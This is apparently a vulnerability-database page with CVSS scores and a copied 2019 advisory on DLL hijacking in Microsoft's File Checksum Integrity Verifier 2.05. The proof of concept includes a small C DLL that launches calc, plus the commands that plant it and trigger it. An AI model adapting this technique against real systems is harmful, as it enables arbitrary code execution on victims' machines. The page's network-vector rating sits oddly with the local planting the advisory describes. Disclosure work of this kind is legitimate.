The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft File Checksum Verifier 2.05 DLL Hijacking
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-FILE-CHECKSUM-VERIFIER-v2.05-DLL-HIJACKING-ARBITRARY-CODE-EXECUTION.txt
[+] ISR: Apparition Security
[Vendor]
www.microsoft.com
[Product]
File Checksum Integrity Verifier version 2.05 "fciv.exe"
Download:
https://www.microsoft.com/en-us/download/details.aspx?id=11533
Excerpt from the FCIV "ReadMe.txt" file.
"Fciv is a command line utility that computes and verifies hashes of files.
It computes a MD5 or SHA1 cryptographic hash of the content of the file.
If the file is modified, the hash is different.
With fciv, you can compute hashes of all your sensitive files.
When you suspect that your system has been compromised, you can run a verification to determine which files have been modified.
You can also schedule verifications regularily."
[Vulnerability Type]
DLL Hijacking Arbitrary Code Execution
[CVE Reference]
N/A
[Security Issue]
File Checksum Integrity Verifier "fciv.exe" will load and execute arbitrary DLLs "CRYPTSP.dll" or "USERENV.dll"
when verifying a file hash, if one of those DLLs exist in the same directory (CWD) from where FCIV is run.
During testing I observed that on a Windows 10 system both "CRYPTSP.dll" or "USERENV.dll" will execute no problem.
However, only "CRYPTSP.dll" seems to work on the Windows 7 machine I tested.
Therefore, if a malware is named "CRYPTSP.dll" or "USERENV.dll" and you try to verify its hash it will instead get executed.
Upon successfull exploit user will get the following error.
//
// File Checksum Integrity Verifier version 2.05.
//
Error during CryptAcquireContext.
Error msg : The specified procedure could not be found.
Error code : 7f
Again, to exploit this the victim must run the FCIV from an infected directory where the compromised DLL lives.
c:\>fciv.exe "CRYPTSP.dll"
OR from network share where an attacker has write privileges.
net use z: \\x.x.x.x\c$ /user:victim
z:\Users\victim\Desktop>fciv.exe c:\Windows
This was tested successfully on Windows 7/10
[Exploit/POC]
Create a DLL named "cryptsp.dll" and download to your default Downloads directory or wherever.
"evil.c"
#include <windows.h>
//gcc -shared -o cryptsp.dll evil.c
void evilo(void){
WinExec("calc", 0);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
Start fciv.exe from the same dir where cryptsp.dll resides to verify the hash of the DLL.
C:\Users\victim\Downloads>fciv.exe cryptsp.dll
BOOM! no hash verified but we do get arbitrary code execution...
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: June 3, 2019
MSRC Response: "The Checksum Integrity Verifier tool is not supported by Microsoft." : June 7, 2019
July 4, 2019 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum